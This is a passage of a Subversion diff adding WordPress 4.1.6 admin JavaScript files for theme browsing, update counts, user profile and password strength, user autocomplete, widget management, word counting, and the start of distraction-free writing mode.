+			$( '.filter-drawer .clear-filters' ).hide();
+			$( 'body' ).removeClass( 'filters-applied' );
+			return false;
+		}
+
+		$( '.filter-drawer .apply-filters' ).find( 'span' ).text( tags.length );
+		$( '.filter-drawer .clear-filters' ).css( 'display', 'inline-block' );
+
+		return tags;
+	},
+
+	activeClass: 'current',
+
+	// Overwrite search container class to append search
+	// in new location
+	searchContainer: $( '.wp-filter .search-form' ),
+
+	uploader: function() {
+		$( 'a.upload' ).on( 'click', function( event ) {
+			event.preventDefault();
+			$( 'body' ).addClass( 'show-upload-theme' );
+			themes.router.navigate( themes.router.baseUrl( '?upload' ), { replace: true } );
+		});
+		$( 'a.browse-themes' ).on( 'click', function( event ) {
+			event.preventDefault();
+			$( 'body' ).removeClass( 'show-upload-theme' );
+			themes.router.navigate( themes.router.baseUrl( '' ), { replace: true } );
+		});
+	},
+
+	// Toggle the full filters navigation
+	moreFilters: function( event ) {
+		event.preventDefault();
+
+		if ( $( 'body' ).hasClass( 'filters-applied' ) ) {
+			return this.backToFilters();
+		}
+
+		// If the filters section is opened and filters are checked
+		// run the relevant query collapsing to filtered-by state
+		if ( $( 'body' ).hasClass( 'show-filters' ) && this.filtersChecked() ) {
+			return this.addFilter();
+		}
+
+		this.clearSearch();
+
+		themes.router.navigate( themes.router.baseUrl( '' ) );
+		$( 'body' ).toggleClass( 'show-filters' );
+	},
+
+	// Clears all the checked filters
+	// @uses filtersChecked()
+	clearFilters: function( event ) {
+		var items = $( '.filter-group' ).find( ':checkbox' ),
+			self = this;
+
+		event.preventDefault();
+
+		_.each( items.filter( ':checked' ), function( item ) {
+			$( item ).prop( 'checked', false );
+			return self.filtersChecked();
+		});
+	},
+
+	backToFilters: function( event ) {
+		if ( event ) {
+			event.preventDefault();
+		}
+
+		$( 'body' ).removeClass( 'filters-applied' );
+	},
+
+	clearSearch: function() {
+		$( '#wp-filter-search-input').val( '' );
+	}
+});
+
+themes.InstallerRouter = Backbone.Router.extend({
+	routes: {
+		'theme-install.php?theme=:slug': 'preview',
+		'theme-install.php?browse=:sort': 'sort',
+		'theme-install.php?upload': 'upload',
+		'theme-install.php?search=:query': 'search',
+		'theme-install.php': 'sort'
+	},
+
+	baseUrl: function( url ) {
+		return 'theme-install.php' + url;
+	},
+
+	themePath: '?theme=',
+	browsePath: '?browse=',
+	searchPath: '?search=',
+
+	search: function( query ) {
+		$( '.wp-filter-search' ).val( query );
+	},
+
+	navigate: function() {
+		if ( Backbone.history._hasPushState ) {
+			Backbone.Router.prototype.navigate.apply( this, arguments );
+		}
+	}
+});
+
+
+themes.RunInstaller = {
+
+	init: function() {
+		// Set up the view
+		// Passes the default 'section' as an option
+		this.view = new themes.view.Installer({
+			section: 'featured',
+			SearchView: themes.view.InstallerSearch
+		});
+
+		// Render results
+		this.render();
+
+	},
+
+	render: function() {
+
+		// Render results
+		this.view.render();
+		this.routes();
+
+		Backbone.history.start({
+			root: themes.data.settings.adminUrl,
+			pushState: true,
+			hashChange: false
+		});
+	},
+
+	routes: function() {
+		var self = this,
+			request = {};
+
+		// Bind to our global `wp.themes` object
+		// so that the router is available to sub-views
+		themes.router = new themes.InstallerRouter();
+
+		// Handles `theme` route event
+		// Queries the API for the passed theme slug
+		themes.router.on( 'route:preview', function( slug ) {
+			request.theme = slug;
+			self.view.collection.query( request );
+		});
+
+		// Handles sorting / browsing routes
+		// Also handles the root URL triggering a sort request
+		// for `featured`, the default view
+		themes.router.on( 'route:sort', function( sort ) {
+			if ( ! sort ) {
+				sort = 'featured';
+			}
+			self.view.sort( sort );
+			self.view.trigger( 'theme:close' );
+		});
+
+		// Support the `upload` route by going straight to upload section
+		themes.router.on( 'route:upload', function() {
+			$( 'a.upload' ).trigger( 'click' );
+		});
+
+		// The `search` route event. The router populates the input field.
+		themes.router.on( 'route:search', function() {
+			$( '.wp-filter-search' ).focus().trigger( 'keyup' );
+		});
+
+		this.extraRoutes();
+	},
+
+	extraRoutes: function() {
+		return false;
+	}
+};
+
+// Ready...
+$( document ).ready(function() {
+	if ( themes.isInstall ) {
+		themes.RunInstaller.init();
+	} else {
+		themes.Run.init();
+	}
+
+	$( '.broken-themes .delete-theme' ).on( 'click', function() {
+		return confirm( _wpThemeSettings.settings.confirmDelete );
+	});
+});
+
+})( jQuery );
+
+// Align theme browser thickbox
+var tb_position;
+jQuery(document).ready( function($) {
+	tb_position = function() {
+		var tbWindow = $('#TB_window'),
+			width = $(window).width(),
+			H = $(window).height(),
+			W = ( 1040 < width ) ? 1040 : width,
+			adminbar_height = 0;
+
+		if ( $('#wpadminbar').length ) {
+			adminbar_height = parseInt( $('#wpadminbar').css('height'), 10 );
+		}
+
+		if ( tbWindow.size() ) {
+			tbWindow.width( W - 50 ).height( H - 45 - adminbar_height );
+			$('#TB_iframeContent').width( W - 50 ).height( H - 75 - adminbar_height );
+			tbWindow.css({'margin-left': '-' + parseInt( ( ( W - 50 ) / 2 ), 10 ) + 'px'});
+			if ( typeof document.body.style.maxWidth !== 'undefined' ) {
+				tbWindow.css({'top': 20 + adminbar_height + 'px', 'margin-top': '0'});
+			}
+		}
+	};
+
+	$(window).resize(function(){ tb_position(); });
+});
Index: /tags/4.1.6/src/wp-admin/js/updates.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/updates.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/updates.js	(revision 33402)
@@ -0,0 +1,65 @@
+window.wp = window.wp || {};
+
+(function( $, wp ) {
+
+	wp.updates = {};
+
+	/**
+	 * Decrement update counts throughout the various menus
+	 *
+	 * @param {string} updateType
+	 */
+	wp.updates.decrementCount = function( upgradeType ) {
+		var count, pluginCount, $elem;
+
+		$elem = $( '#wp-admin-bar-updates .ab-label' );
+		count = $elem.text();
+		count = parseInt( count, 10 ) - 1;
+		if ( count < 0 || isNaN( count ) ) {
+			return;
+		}
+		$( '#wp-admin-bar-updates .ab-item' ).removeAttr( 'title' );
+		$elem.text( count );
+
+		$elem = $( 'a[href="update-core.php"] .update-plugins' );
+		$elem.each( function( index, elem ) {
+			elem.className = elem.className.replace( /count-\d+/, 'count-' + count );
+		} );
+		$elem.removeAttr( 'title' );
+		$elem.find( '.update-count' ).text( count );
+
+		if ( 'plugin' === upgradeType ) {
+			$elem = $( '#menu-plugins' );
+			pluginCount = $elem.find( '.plugin-count' ).eq(0).text();
+			pluginCount = parseInt( pluginCount, 10 ) - 1;
+			if ( pluginCount < 0 || isNaN( pluginCount ) ) {
+				return;
+			}
+			$elem.find( '.plugin-count' ).text( pluginCount );
+			$elem.find( '.update-plugins' ).each( function( index, elem ) {
+				elem.className = elem.className.replace( /count-\d+/, 'count-' + pluginCount );
+			} );
+		}
+	};
+
+	$( window ).on( 'message', function( e ) {
+		var event = e.originalEvent,
+			message,
+			loc = document.location,
+			expectedOrigin = loc.protocol + '//' + loc.hostname;
+
+		if ( event.origin !== expectedOrigin ) {
+			return;
+		}
+
+		message = $.parseJSON( event.data );
+
+		if ( typeof message.action === 'undefined' || message.action !== 'decrementUpdateCount' ) {
+			return;
+		}
+
+		wp.updates.decrementCount( message.upgradeType );
+
+	} );
+
+})( jQuery, window.wp );
Index: /tags/4.1.6/src/wp-admin/js/user-profile.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/user-profile.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/user-profile.js	(revision 33402)
@@ -0,0 +1,145 @@
+/* global ajaxurl, pwsL10n */
+(function($){
+
+	function check_pass_strength() {
+		var pass1 = $('#pass1').val(), pass2 = $('#pass2').val(), strength;
+
+		$('#pass-strength-result').removeClass('short bad good strong');
+		if ( ! pass1 ) {
+			$('#pass-strength-result').html( pwsL10n.empty );
+			return;
+		}
+
+		strength = wp.passwordStrength.meter( pass1, wp.passwordStrength.userInputBlacklist(), pass2 );
+
+		switch ( strength ) {
+			case 2:
+				$('#pass-strength-result').addClass('bad').html( pwsL10n.bad );
+				break;
+			case 3:
+				$('#pass-strength-result').addClass('good').html( pwsL10n.good );
+				break;
+			case 4:
+				$('#pass-strength-result').addClass('strong').html( pwsL10n.strong );
+				break;
+			case 5:
+				$('#pass-strength-result').addClass('short').html( pwsL10n.mismatch );
+				break;
+			default:
+				$('#pass-strength-result').addClass('short').html( pwsL10n['short'] );
+		}
+	}
+
+	$(document).ready( function() {
+		var $colorpicker, $stylesheet, user_id, current_user_id,
+			select = $( '#display_name' );
+
+		$('#pass1').val('').keyup( check_pass_strength );
+		$('#pass2').val('').keyup( check_pass_strength );
+		$('#pass-strength-result').show();
+		$('.color-palette').click( function() {
+			$(this).siblings('input[name="admin_color"]').prop('checked', true);
+		});
+
+		if ( select.length ) {
+			$('#first_name, #last_name, #nickname').bind( 'blur.user_profile', function() {
+				var dub = [],
+					inputs = {
+						display_nickname  : $('#nickname').val() || '',
+						display_username  : $('#user_login').val() || '',
+						display_firstname : $('#first_name').val() || '',
+						display_lastname  : $('#last_name').val() || ''
+					};
+
+				if ( inputs.display_firstname && inputs.display_lastname ) {
+					inputs.display_firstlast = inputs.display_firstname + ' ' + inputs.display_lastname;
+					inputs.display_lastfirst = inputs.display_lastname + ' ' + inputs.display_firstname;
+				}
+
+				$.each( $('option', select), function( i, el ){
+					dub.push( el.value );
+				});
+
+				$.each(inputs, function( id, value ) {
+					if ( ! value ) {
+						return;
+					}
+
+					var val = value.replace(/<\/?[a-z][^>]*>/gi, '');
+
+					if ( inputs[id].length && $.inArray( val, dub ) === -1 ) {
+						dub.push(val);
+						$('<option />', {
+							'text': val
+						}).appendTo( select );
+					}
+				});
+			});
+		}
+
+		$colorpicker = $( '#color-picker' );
+		$stylesheet = $( '#colors-css' );
+		user_id = $( 'input#user_id' ).val();
+		current_user_id = $( 'input[name="checkuser_id"]' ).val();
+
+		$colorpicker.on( 'click.colorpicker', '.color-option', function() {
+			var colors,
+				$this = $(this);
+
+			if ( $this.hasClass( 'selected' ) ) {
+				return;
+			}
+
+			$this.siblings( '.selected' ).removeClass( 'selected' );
+			$this.addClass( 'selected' ).find( 'input[type="radio"]' ).prop( 'checked', true );
+
+			// Set color scheme
+			if ( user_id === current_user_id ) {
+				// Load the colors stylesheet.
+				// The default color scheme won't have one, so we'll need to create an element.
+				if ( 0 === $stylesheet.length ) {
+					$stylesheet = $( '<link rel="stylesheet" />' ).appendTo( 'head' );
+				}
+				$stylesheet.attr( 'href', $this.children( '.css_url' ).val() );
+
+				// repaint icons
+				if ( typeof wp !== 'undefined' && wp.svgPainter ) {
+					try {
+						colors = $.parseJSON( $this.children( '.icon_colors' ).val() );
+					} catch ( error ) {}
+
+					if ( colors ) {
+						wp.svgPainter.setColors( colors );
+						wp.svgPainter.paint();
+					}
+				}
+
+				// update user option
+				$.post( ajaxurl, {
+					action:       'save-user-color-scheme',
+					color_scheme: $this.children( 'input[name="admin_color"]' ).val(),
+					nonce:        $('#color-nonce').val()
+				});
+			}
+		});
+	});
+
+	$( '#destroy-sessions' ).on( 'click', function( e ) {
+		var $this = $(this);
+
+		wp.ajax.post( 'destroy-sessions', {
+			nonce: $( '#_wpnonce' ).val(),
+			user_id: $( '#user_id' ).val()
+		}).done( function( response ) {
+			$this.prop( 'disabled', true );
+			$this.siblings( '.notice' ).remove();
+			$this.before( '<div class="notice notice-success inline"><p>' + response.message + '</p></div>' );
+		}).fail( function( response ) {
+			$this.siblings( '.notice' ).remove();
+			$this.before( '<div class="notice notice-error inline"><p>' + response.message + '</p></div>' );
+		});
+
+		e.preventDefault();
+	});
+
+})(jQuery);
Index: /tags/4.1.6/src/wp-admin/js/user-suggest.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/user-suggest.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/user-suggest.js	(revision 33402)
@@ -0,0 +1,30 @@
+/* global ajaxurl, current_site_id, isRtl */
+
+(function( $ ) {
+	var id = ( typeof current_site_id !== 'undefined' ) ? '&site_id=' + current_site_id : '';
+	$(document).ready( function() {
+		var position = { offset: '0, -1' };
+		if ( typeof isRtl !== 'undefined' && isRtl ) {
+			position.my = 'right top';
+			position.at = 'right bottom';
+		}
+		$( '.wp-suggest-user' ).each( function(){
+			var $this = $( this ),
+				autocompleteType = ( typeof $this.data( 'autocompleteType' ) !== 'undefined' ) ? $this.data( 'autocompleteType' ) : 'add',
+				autocompleteField = ( typeof $this.data( 'autocompleteField' ) !== 'undefined' ) ? $this.data( 'autocompleteField' ) : 'user_login';
+
+			$this.autocomplete({
+				source:    ajaxurl + '?action=autocomplete-user&autocomplete_type=' + autocompleteType + '&autocomplete_field=' + autocompleteField + id,
+				delay:     500,
+				minLength: 2,
+				position:  position,
+				open: function() {
+					$( this ).addClass( 'open' );
+				},
+				close: function() {
+					$( this ).removeClass( 'open' );
+				}
+			});
+		});
+	});
+})( jQuery );
Index: /tags/4.1.6/src/wp-admin/js/widgets.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/widgets.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/widgets.js	(revision 33402)
@@ -0,0 +1,494 @@
+/*global ajaxurl, isRtl */
+var wpWidgets;
+(function($) {
+
+wpWidgets = {
+
+	init : function() {
+		var rem, the_id,
+			self = this,
+			chooser = $('.widgets-chooser'),
+			selectSidebar = chooser.find('.widgets-chooser-sidebars'),
+			sidebars = $('div.widgets-sortables'),
+			isRTL = !! ( 'undefined' !== typeof isRtl && isRtl );
+
+		$('#widgets-right .sidebar-name').click( function() {
+			var $this = $(this),
+				$wrap = $this.closest('.widgets-holder-wrap');
+
+			if ( $wrap.hasClass('closed') ) {
+				$wrap.removeClass('closed');
+				$this.parent().sortable('refresh');
+			} else {
+				$wrap.addClass('closed');
+			}
+		});
+
+		$('#widgets-left .sidebar-name').click( function() {
+			$(this).closest('.widgets-holder-wrap').toggleClass('closed');
+		});
+
+		$(document.body).bind('click.widgets-toggle', function(e) {
+			var target = $(e.target),
+				css = { 'z-index': 100 },
+				widget, inside, targetWidth, widgetWidth, margin;
+
+			if ( target.parents('.widget-top').length && ! target.parents('#available-widgets').length ) {
+				widget = target.closest('div.widget');
+				inside = widget.children('.widget-inside');
+				targetWidth = parseInt( widget.find('input.widget-width').val(), 10 ),
+				widgetWidth = widget.parent().width();
+
+				if ( inside.is(':hidden') ) {
+					if ( targetWidth > 250 && ( targetWidth + 30 > widgetWidth ) && widget.closest('div.widgets-sortables').length ) {
+						if ( widget.closest('div.widget-liquid-right').length ) {
+							margin = isRTL ? 'margin-right' : 'margin-left';
+						} else {
+							margin = isRTL ? 'margin-left' : 'margin-right';
+						}
+
+						css[ margin ] = widgetWidth - ( targetWidth + 30 ) + 'px';
+						widget.css( css );
+					}
+					widget.addClass( 'open' );
+					inside.slideDown('fast');
+				} else {
+					inside.slideUp('fast', function() {
+						widget.attr( 'style', '' );
+						widget.removeClass( 'open' );
+					});
+				}
+				e.preventDefault();
+			} else if ( target.hasClass('widget-control-save') ) {
+				wpWidgets.save( target.closest('div.widget'), 0, 1, 0 );
+				e.preventDefault();
+			} else if ( target.hasClass('widget-control-remove') ) {
+				wpWidgets.save( target.closest('div.widget'), 1, 1, 0 );
+				e.preventDefault();
+			} else if ( target.hasClass('widget-control-close') ) {
+				widget = target.closest('div.widget');
+				widget.removeClass( 'open' );
+				wpWidgets.close( widget );
+				e.preventDefault();
+			}
+		});
+
+		sidebars.children('.widget').each( function() {
+			var $this = $(this);
+
+			wpWidgets.appendTitle( this );
+
+			if ( $this.find( 'p.widget-error' ).length ) {
+				$this.find( 'a.widget-action' ).trigger('click');
+			}
+		});
+
+		$('#widget-list').children('.widget').draggable({
+			connectToSortable: 'div.widgets-sortables',
+			handle: '> .widget-top > .widget-title',
+			distance: 2,
+			helper: 'clone',
+			zIndex: 100,
+			containment: 'document',
+			start: function( event, ui ) {
+				var chooser = $(this).find('.widgets-chooser');
+
+				ui.helper.find('div.widget-description').hide();
+				the_id = this.id;
+
+				if ( chooser.length ) {
+					// Hide the chooser and move it out of the widget
+					$( '#wpbody-content' ).append( chooser.hide() );
+					// Delete the cloned chooser from the drag helper
+					ui.helper.find('.widgets-chooser').remove();
+					self.clearWidgetSelection();
+				}
+			},
+			stop: function() {
+				if ( rem ) {
+					$(rem).hide();
+				}
+
+				rem = '';
+			}
+		});
+
+		sidebars.sortable({
+			placeholder: 'widget-placeholder',
+			items: '> .widget',
+			handle: '> .widget-top > .widget-title',
+			cursor: 'move',
+			distance: 2,
+			containment: 'document',
+			start: function( event, ui ) {
+				var height, $this = $(this),
+					$wrap = $this.parent(),
+					inside = ui.item.children('.widget-inside');
+
+				if ( inside.css('display') === 'block' ) {
+					inside.hide();
+					$(this).sortable('refreshPositions');
+				}
+
+				if ( ! $wrap.hasClass('closed') ) {
+					// Lock all open sidebars min-height when starting to drag.
+					// Prevents jumping when dragging a widget from an open sidebar to a closed sidebar below.
+					height = ui.item.hasClass('ui-draggable') ? $this.height() : 1 + $this.height();
+					$this.css( 'min-height', height + 'px' );
+				}
+			},
+
+			stop: function( event, ui ) {
+				var addNew, widgetNumber, $sidebar, $children, child, item,
+					$widget = ui.item,
+					id = the_id;
+
+				if ( $widget.hasClass('deleting') ) {
+					wpWidgets.save( $widget, 1, 0, 1 ); // delete widget
+					$widget.remove();
+					return;
+				}
+
+				addNew = $widget.find('input.add_new').val();
+				widgetNumber = $widget.find('input.multi_number').val();
+
+				$widget.attr( 'style', '' ).removeClass('ui-draggable');
+				the_id = '';
+
+				if ( addNew ) {
+					if ( 'multi' === addNew ) {
+						$widget.html(
+							$widget.html().replace( /<[^<>]+>/g, function( tag ) {
+								return tag.replace( /__i__|%i%/g, widgetNumber );
+							})
+						);
+
+						$widget.attr( 'id', id.replace( '__i__', widgetNumber ) );
+						widgetNumber++;
+
+						$( 'div#' + id ).find( 'input.multi_number' ).val( widgetNumber );
+					} else if ( 'single' === addNew ) {
+						$widget.attr( 'id', 'new-' + id );
+						rem = 'div#' + id;
+					}
+
+					wpWidgets.save( $widget, 0, 0, 1 );
+					$widget.find('input.add_new').val('');
+					$( document ).trigger( 'widget-added', [ $widget ] );
+				}
+
+				$sidebar = $widget.parent();
+
+				if ( $sidebar.parent().hasClass('closed') ) {
+					$sidebar.parent().removeClass('closed');
+					$children = $sidebar.children('.widget');
+
+					// Make sure the dropped widget is at the top
+					if ( $children.length > 1 ) {
+						child = $children.get(0);
+						item = $widget.get(0);
+
+						if ( child.id && item.id && child.id !== item.id ) {
+							$( child ).before( $widget );
+						}
+					}
+				}
+
+				if ( addNew ) {
+					$widget.find( 'a.widget-action' ).trigger('click');
+				} else {
+					wpWidgets.saveOrder( $sidebar.attr('id') );
+				}
+			},
+
+			activate: function() {
+				$(this).parent().addClass( 'widget-hover' );
+			},
+
+			deactivate: function() {
+				// Remove all min-height added on "start"
+				$(this).css( 'min-height', '' ).parent().removeClass( 'widget-hover' );
+			},
+
+			receive: function( event, ui ) {
+				var $sender = $( ui.sender );
+
+				// Don't add more widgets to orphaned sidebars
+				if ( this.id.indexOf('orphaned_widgets') > -1 ) {
+					$sender.sortable('cancel');
+					return;
+				}
+
+				// If the last widget was moved out of an orphaned sidebar, close and remove it.
+				if ( $sender.attr('id').indexOf('orphaned_widgets') > -1 && ! $sender.children('.widget').length ) {
+					$sender.parents('.orphan-sidebar').slideUp( 400, function(){ $(this).remove(); } );
+				}
+			}
+		}).sortable( 'option', 'connectWith', 'div.widgets-sortables' );
+
+		$('#available-widgets').droppable({
+			tolerance: 'pointer',
+			accept: function(o){
+				return $(o).parent().attr('id') !== 'widget-list';
+			},
+			drop: function(e,ui) {
+				ui.draggable.addClass('deleting');
+				$('#removing-widget').hide().children('span').html('');
+			},
+			over: function(e,ui) {
+				ui.draggable.addClass('deleting');
+				$('div.widget-placeholder').hide();
+
+				if ( ui.draggable.hasClass('ui-sortable-helper') ) {
+					$('#removing-widget').show().children('span')
+					.html( ui.draggable.find('div.widget-title').children('h4').html() );
+				}
+			},
+			out: function(e,ui) {
+				ui.draggable.removeClass('deleting');
+				$('div.widget-placeholder').show();
+				$('#removing-widget').hide().children('span').html('');
+			}
+		});
+
+		// Area Chooser
+		$( '#widgets-right .widgets-holder-wrap' ).each( function( index, element ) {
+			var $element = $( element ),
+				name = $element.find( '.sidebar-name h3' ).text(),
+				id = $element.find( '.widgets-sortables' ).attr( 'id' ),
+				li = $('<li tabindex="0">').text( $.trim( name ) );
+
+			if ( index === 0 ) {
+				li.addClass( 'widgets-chooser-selected' );
+			}
+
+			selectSidebar.append( li );
+			li.data( 'sidebarId', id );
+		});
+
+		$( '#available-widgets .widget .widget-title' ).on( 'click.widgets-chooser', function() {
+			var $widget = $(this).closest( '.widget' );
+
+			if ( $widget.hasClass( 'widget-in-question' ) || $( '#widgets-left' ).hasClass( 'chooser' ) ) {
+				self.closeChooser();
+			} else {
+				// Open the chooser
+				self.clearWidgetSelection();
+				$( '#widgets-left' ).addClass( 'chooser' );
+				$widget.addClass( 'widget-in-question' ).children( '.widget-description' ).after( chooser );
+
+				chooser.slideDown( 300, function() {
+					selectSidebar.find('.widgets-chooser-selected').focus();
+				});
+
+				selectSidebar.find( 'li' ).on( 'focusin.widgets-chooser', function() {
+					selectSidebar.find('.widgets-chooser-selected').removeClass( 'widgets-chooser-selected' );
+					$(this).addClass( 'widgets-chooser-selected' );
+				} );
+			}
+		});
+
+		// Add event handlers
+		chooser.on( 'click.widgets-chooser', function( event ) {
+			var $target = $( event.target );
+
+			if ( $target.hasClass('button-primary') ) {
+				self.addWidget( chooser );
+				self.closeChooser();
+			} else if ( $target.hasClass('button-secondary') ) {
+				self.closeChooser();
+			}
+		}).on( 'keyup.widgets-chooser', function( event ) {
+			if ( event.which === $.ui.keyCode.ENTER ) {
+				if ( $( event.target ).hasClass('button-secondary') ) {
+					// Close instead of adding when pressing Enter on the Cancel button
+					self.closeChooser();
+				} else {
+					self.addWidget( chooser );
+					self.closeChooser();
+				}
+			} else if ( event.which === $.ui.keyCode.ESCAPE ) {
+				self.closeChooser();
+			}
+		});
+	},
+
+	saveOrder : function( sidebarId ) {
+		var data = {
+			action: 'widgets-order',
+			savewidgets: $('#_wpnonce_widgets').val(),
+			sidebars: []
+		};
+
+		if ( sidebarId ) {
+			$( '#' + sidebarId ).find('.spinner:first').css('display', 'inline-block');
+		}
+
+		$('div.widgets-sortables').each( function() {
+			if ( $(this).sortable ) {
+				data['sidebars[' + $(this).attr('id') + ']'] = $(this).sortable('toArray').join(',');
+			}
+		});
+
+		$.post( ajaxurl, data, function() {
+			$('.spinner').hide();
+		});
+	},
+
+	save : function( widget, del, animate, order ) {
+		var sidebarId = widget.closest('div.widgets-sortables').attr('id'),
+			data = widget.find('form').serialize(), a;
+
+		widget = $(widget);
+		$('.spinner', widget).show();
+
+		a = {
+			action: 'save-widget',
+			savewidgets: $('#_wpnonce_widgets').val(),
+			sidebar: sidebarId
+		};
+
+		if ( del ) {
+			a.delete_widget = 1;
+		}
+
+		data += '&' + $.param(a);
+
+		$.post( ajaxurl, data, function(r) {
+			var id;
+
+			if ( del ) {
+				if ( ! $('input.widget_number', widget).val() ) {
+					id = $('input.widget-id', widget).val();
+					$('#available-widgets').find('input.widget-id').each(function(){
+						if ( $(this).val() === id ) {
+							$(this).closest('div.widget').show();
+						}
+					});
+				}
+
+				if ( animate ) {
+					order = 0;
+					widget.slideUp('fast', function(){
+						$(this).remove();
+						wpWidgets.saveOrder();
+					});
+				} else {
+					widget.remove();
+				}
+			} else {
+				$('.spinner').hide();
+				if ( r && r.length > 2 ) {
+					$( 'div.widget-content', widget ).html( r );
+					wpWidgets.appendTitle( widget );
+					$( document ).trigger( 'widget-updated', [ widget ] );
+				}
+			}
+			if ( order ) {
+				wpWidgets.saveOrder();
+			}
+		});
+	},
+
+	appendTitle : function(widget) {
+		var title = $('input[id*="-title"]', widget).val() || '';
+
+		if ( title ) {
+			title = ': ' + title.replace(/<[^<>]+>/g, '').replace(/</g, '&lt;').replace(/>/g, '&gt;');
+		}
+
+		$(widget).children('.widget-top').children('.widget-title').children()
+				.children('.in-widget-title').html(title);
+
+	},
+
+	close : function(widget) {
+		widget.children('.widget-inside').slideUp('fast', function() {
+			widget.attr( 'style', '' );
+		});
+	},
+
+	addWidget: function( chooser ) {
+		var widget, widgetId, add, n, viewportTop, viewportBottom, sidebarBounds,
+			sidebarId = chooser.find( '.widgets-chooser-selected' ).data('sidebarId'),
+			sidebar = $( '#' + sidebarId );
+
+		widget = $('#available-widgets').find('.widget-in-question').clone();
+		widgetId = widget.attr('id');
+		add = widget.find( 'input.add_new' ).val();
+		n = widget.find( 'input.multi_number' ).val();
+
+		// Remove the cloned chooser from the widget
+		widget.find('.widgets-chooser').remove();
+
+		if ( 'multi' === add ) {
+			widget.html(
+				widget.html().replace( /<[^<>]+>/g, function(m) {
+					return m.replace( /__i__|%i%/g, n );
+				})
+			);
+
+			widget.attr( 'id', widgetId.replace( '__i__', n ) );
+			n++;
+			$( '#' + widgetId ).find('input.multi_number').val(n);
+		} else if ( 'single' === add ) {
+			widget.attr( 'id', 'new-' + widgetId );
+			$( '#' + widgetId ).hide();
+		}
+
+		// Open the widgets container
+		sidebar.closest( '.widgets-holder-wrap' ).removeClass('closed');
+
+		sidebar.append( widget );
+		sidebar.sortable('refresh');
+
+		wpWidgets.save( widget, 0, 0, 1 );
+		// No longer "new" widget
+		widget.find( 'input.add_new' ).val('');
+
+		$( document ).trigger( 'widget-added', [ widget ] );
+
+		/*
+		 * Check if any part of the sidebar is visible in the viewport. If it is, don't scroll.
+		 * Otherwise, scroll up to so the sidebar is in view.
+		 *
+		 * We do this by comparing the top and bottom, of the sidebar so see if they are within
+		 * the bounds of the viewport.
+		 */
+		viewportTop = $(window).scrollTop();
+		viewportBottom = viewportTop + $(window).height();
+		sidebarBounds = sidebar.offset();
+
+		sidebarBounds.bottom = sidebarBounds.top + sidebar.outerHeight();
+
+		if ( viewportTop > sidebarBounds.bottom || viewportBottom < sidebarBounds.top ) {
+			$( 'html, body' ).animate({
+				scrollTop: sidebarBounds.top - 130
+			}, 200 );
+		}
+
+		window.setTimeout( function() {
+			// Cannot use a callback in the animation above as it fires twice,
+			// have to queue this "by hand".
+			widget.find( '.widget-title' ).trigger('click');
+		}, 250 );
+	},
+
+	closeChooser: function() {
+		var self = this;
+
+		$( '.widgets-chooser' ).slideUp( 200, function() {
+			$( '#wpbody-content' ).append( this );
+			self.clearWidgetSelection();
+		});
+	},
+
+	clearWidgetSelection: function() {
+		$( '#widgets-left' ).removeClass( 'chooser' );
+		$( '.widget-in-question' ).removeClass( 'widget-in-question' );
+	}
+};
+
+$(document).ready( function(){ wpWidgets.init(); } );
+
+})(jQuery);
Index: /tags/4.1.6/src/wp-admin/js/word-count.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/word-count.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/word-count.js	(revision 33402)
@@ -0,0 +1,44 @@
+/* global wordCountL10n */
+var wpWordCount;
+(function($,undefined) {
+	wpWordCount = {
+
+		settings : {
+			strip : /<[a-zA-Z\/][^<>]*>/g, // strip HTML tags
+			clean : /[0-9.(),;:!?%#$¿'"_+=\\/-]+/g, // regexp to remove punctuation, etc.
+			w : /\S\s+/g, // word-counting regexp
+			c : /\S/g // char-counting regexp for asian languages
+		},
+
+		block : 0,
+
+		wc : function(tx, type) {
+			var t = this, w = $('.word-count'), tc = 0;
+
+			if ( type === undefined )
+				type = wordCountL10n.type;
+			if ( type !== 'w' && type !== 'c' )
+				type = 'w';
+
+			if ( t.block )
+				return;
+
+			t.block = 1;
+
+			setTimeout( function() {
+				if ( tx ) {
+					tx = tx.replace( t.settings.strip, ' ' ).replace( /&nbsp;|&#160;/gi, ' ' );
+					tx = tx.replace( t.settings.clean, '' );
+					tx.replace( t.settings[type], function(){tc++;} );
+				}
+				w.html(tc.toString());
+
+				setTimeout( function() { t.block = 0; }, 2000 );
+			}, 1 );
+		}
+	};
+
+	$(document).bind( 'wpcountwords', function(e, txt) {
+		wpWordCount.wc(txt);
+	});
+}(jQuery));
Index: /tags/4.1.6/src/wp-admin/js/wp-fullscreen.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/wp-fullscreen.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/wp-fullscreen.js	(revision 33402)
@@ -0,0 +1,704 @@
+/* global deleteUserSetting, setUserSetting, switchEditors, tinymce, tinyMCEPreInit */
+/**
+ * Distraction-Free Writing
+ * (wp-fullscreen)
+ *
+ * Access the API globally using the window.wp.editor.fullscreen variable.
+ */
+( function( $, window ) {
+	var api, ps, s, toggleUI, uiTimer, PubSub,
+		uiScrollTop = 0,
+		transitionend = 'transitionend webkitTransitionEnd',
+		$body = $( document.body ),
+		$document = $( document );
+
+	/**
+	 * PubSub
+	 *
+	 * A lightweight publish/subscribe implementation.
+	 *
+	 * @access private
+	 */
+	PubSub = function() {
+		this.topics = {};
+
+		this.subscribe = function( topic, callback ) {
+			if ( ! this.topics[ topic ] )
+				this.topics[ topic ] = [];
+
+			this.topics[ topic ].push( callback );
+			return callback;
+		};
+
+		this.unsubscribe = function( topic, callback ) {
+			var i, l,
+				topics = this.topics[ topic ];
+
+			if ( ! topics )
+				return callback || [];
+
+			// Clear matching callbacks
+			if ( callback ) {
+				for ( i = 0, l = topics.length; i < l; i++ ) {
+					if ( callback == topics[i] )
+						topics.splice( i, 1 );
+				}
+				return callback;
+
+			// Clear all callbacks
+			} else {
+				this.topics[ topic ] = [];
+				return topics;
+			}
+		};
+
+		this.publish = function( topic, args ) {
+			var i, l, broken,
+				topics = this.topics[ topic ];
+
+			if ( ! topics )
+				return;
+
+			args = args || [];
+
+			for ( i = 0, l = topics.length; i < l; i++ ) {
